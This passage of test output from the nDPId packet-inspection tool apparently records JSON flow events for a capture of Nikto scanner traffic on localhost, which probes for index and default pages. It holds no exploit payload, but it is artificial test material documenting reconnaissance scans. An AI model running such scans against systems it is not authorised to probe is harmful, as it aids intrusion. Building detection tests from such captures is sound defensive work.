+00629{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":815123,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGtzZAAEAGhPl\/AAABfwAAAcJKH5BukY8IX6sJe4AYAED+ugAAAQEICp1m+3edZvt2R0VUIC9pbmRleC5jZm0gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptdWx0aXBsZV9pbmRleCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":98,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1576420276815,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49738,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.cfm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":99,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1576420276817,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49740,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00630{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":817802,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGzfJAAEAGbj1\/AAABfwAAAcJMH5CEyfXFi\/ZWqoAYAED+ugAAAQEICp1m+3mdZvt5R0VUIC9pbmRleC5jZ2kgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":99,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1576420276817,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49740,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.cgi","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":100,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1576420276819,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49742,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":819191,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFj3JAAEAGrL5\/AAABfwAAAcJOH5DAfLdF0MycV4AYAED+uQAAAQEICp1m+3udZvt7R0VUIC9pbmRleC5wbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bXVsdGlwbGVfaW5kZXgpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":100,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1576420276819,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49742,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.pl","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":101,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1576420276820,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49744,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":820454,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADG77xAAEAGTHN\/AAABfwAAAcJQH5DIa9eQqgE4nYAYAED+ugAAAQEICp1m+3ydZvt8R0VUIC9pbmRleC5hc3AgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptdWx0aXBsZV9pbmRleCkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":101,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1576420276820,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49744,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.asp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":102,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1576420276821,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49746,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":821784,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHQ2dAAEAG+Md\/AAABfwAAAcJSH5BEZHtRsCeOn4AYAED+uwAAAQEICp1m+32dZvt9R0VUIC9pbmRleC5hc3B4IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptdWx0aXBsZV9pbmRleCkNCg0K"} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":102,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1576420276821,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49746,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.aspx","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":103,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1576420276823,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49748,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":823199,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI9WNAAEAGRsp\/AAABfwAAAcJUH5Atl81VKdEVGoAYAED+vAAAAQEICp1m+3+dZvt\/R0VUIC9kZWZhdWx0LmFzcCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":103,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1576420276823,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49748,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/default.asp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":104,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1576420276824,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49750,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":824516,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJPphAAEAG\/ZR\/AAABfwAAAcJWH5C0BwahLC3FVoAYAED+vQAAAQEICp1m+4CdZvuAR0VUIC9kZWZhdWx0LmFzcHggSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KDQo="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":104,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1576420276824,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49750,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/default.aspx","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":105,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1576420276825,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49752,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00635{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":825862,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIFrxAAEAGJXJ\/AAABfwAAAcJYH5C2Ei6NIzroBYAYAED+vAAAAQEICp1m+4GdZvuBR0VUIC9kZWZhdWx0Lmh0bSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bXVsdGlwbGVfaW5kZXgpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":105,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1576420276825,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49752,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/default.htm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":106,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1576420276827,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49754,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":827183,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFTUVAAEAG7ut\/AAABfwAAAcJaH5CLBXV23SQCI4AYAED+uQAAAQEICp1m+4OdZvuDR0VUIC9pbmRleC5kbyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":106,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1576420276827,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49754,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.do","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":107,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1576420276828,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49756,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00635{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":828531,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADICi9AAEAGMf9\/AAABfwAAAcJcH5By6zIbQafp54AYAED+vAAAAQEICp1m+4SdZvuER0VUIC9pbmRleC5qaHRtbCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":107,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1576420276828,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49756,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.jhtml","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":108,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1576420276829,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49758,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":829687,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADG08RAAEAGaGt\/AAABfwAAAcJeH5AOKuv2Y8ch84AYAED+ugAAAQEICp1m+4WdZvuFR0VUIC9pbmRleC5qc3AgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":108,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1576420276829,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49758,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.jsp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":109,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1576420276832,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49760,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":832047,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGiDJAAEAGs\/1\/AAABfwAAAcJgH5Cj8LAJpHctpoAYAED+ugAAAQEICp1m+4edZvuHR0VUIC9pbmRleC54bWwgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om11bHRpcGxlX2luZGV4KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":109,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1576420276832,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49760,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.xml","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:multiple_index)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":110,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1576420276834,"flow_last_seen":0,"flow_tot_l4_data_len":206,"flow_min_l4_data_len":206,"flow_max_l4_data_len":206,"flow_avg_l4_data_len":206,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49764,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00667{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":834667,"pkt_caplen":240,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":240,"pkt_l4_len":206,"pkt":"AAAAAAAAAAAAAAAACABFAADiGX1AAEAGIpd\/AAABfwAAAcJkH5BjVCFE0UHCd4AYAED+1gAAAQEICp1m+4qdZvuKR0VUIC9pbmRleCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om5lZ290aWF0ZSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkFjY2VwdDogYXBwbGljYXRpb24vd2hhdGV2ZXI7IHE9MS4wDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":110,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1576420276834,"flow_last_seen":0,"flow_tot_l4_data_len":206,"flow_min_l4_data_len":206,"flow_max_l4_data_len":206,"flow_avg_l4_data_len":206,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49764,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:negotiate)"}} 